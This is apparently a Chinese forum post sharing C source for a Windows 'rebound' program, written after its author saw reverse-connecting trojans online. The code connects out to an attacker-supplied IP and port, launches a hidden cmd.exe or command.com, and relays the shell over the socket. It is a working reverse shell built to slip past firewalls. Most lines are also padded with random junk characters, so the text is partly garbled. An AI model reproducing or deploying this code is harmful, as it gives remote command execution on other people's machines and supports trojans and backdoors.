这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y< ud('D
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/* ============================== V/&o]b
Rebound port in Windows NT i*
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By wind,2006/7 #S*pD?VZ
===============================*/ d5'
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#include AA.Ys89V
#include z"qv
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#pragma comment(lib,"wsock32.lib") 6`W|V+6|7
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void OutputShell(); T0?uC/7H
SOCKET sClient; NxB+?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vnVZJ}]w\
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void main(int argc,char **argv) 4@/z
{ $owb3g(%4
WSADATA stWsaData; /.)2d8,
int nRet; )-)pYRlO
SOCKADDR_IN stSaiClient,stSaiServer; u#!GMZJN
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if(argc != 3) ;"SZ}
{ `$f2eB&
printf("Useage:\n\rRebound DestIP DestPort\n"); %t{Sb4XZ4k
return;
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} A?'
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WSAStartup(MAKEWORD(2,2),&stWsaData); i\vpGlx
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DA=qeVBg
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stSaiClient.sin_family = AF_INET; IO6MK&R
stSaiClient.sin_port = htons(0); #AvEH=:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -[<vYxX:h:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F'ENq6
{ &|NZ8:*+#
printf("Bind Socket Failed!\n"); {YBl:rMz
return; XK3!V|y`
} bZK+9IR
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stSaiServer.sin_family = AF_INET; qkiJH T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k_BSY=$e*D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3Mxz_~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _ Q{T ';
{ W1;=J^<&1
printf("Connect Error!"); C|9[Al
return; niQ+EAD
} i<bxc
OutputShell(); B#Qpd7E+*
} r:.6"VQu}
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void OutputShell() p!QR3k.9s
{ 5'62ulwMP=
char szBuff[1024]; NQg'|Pt(%
SECURITY_ATTRIBUTES stSecurityAttributes; Vv2{^!aZ
OSVERSIONINFO stOsversionInfo; Fdr*xHx$P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .@Hmg
STARTUPINFO stStartupInfo; a" ^#!G<+
char *szShell; i<J^:7
PROCESS_INFORMATION stProcessInformation; i'Wcf1I-=
unsigned long lBytesRead; t(wZiK}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 98h :X %
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cB_pyX9Z
stSecurityAttributes.lpSecurityDescriptor = 0; :wSJ-\'$
stSecurityAttributes.bInheritHandle = TRUE; x<Iy<v7-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F:M/z#:~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \ hrBq^I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]&' jP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dZ.}j&ZH'
stStartupInfo.wShowWindow = SW_HIDE; :a=ro2NH
stStartupInfo.hStdInput = hReadPipe; ?U}sQ;c$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?rAi=w&c
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GetVersionEx(&stOsversionInfo); <=$rU232}
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switch(stOsversionInfo.dwPlatformId) Th.3j's
{ qwL0~I
case 1: M\9at\$
szShell = "command.com"; \)uy"+ Z`
break; jkZ_c!
default: K3a>^g
szShell = "cmd.exe"; jG
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break; Z@<q/2).|
} v!nm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YN_X0+b3C
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send(sClient,szMsg,77,0); :yd=No@
while(1) p
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{ &*X3ch
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RmcYaj^=
if(lBytesRead) m]bL)]Z
{ N;e;4,_ n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }K#iCby4
send(sClient,szBuff,lBytesRead,0); 'hxs((['\
} sZ0g99eX
else (k7;
{ L#@l(8.
lBytesRead=recv(sClient,szBuff,1024,0); R
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if(lBytesRead<=0) break; *=($r%)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z44
} `=_7I?
} trID#DT~
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return; wxdh?sQ
}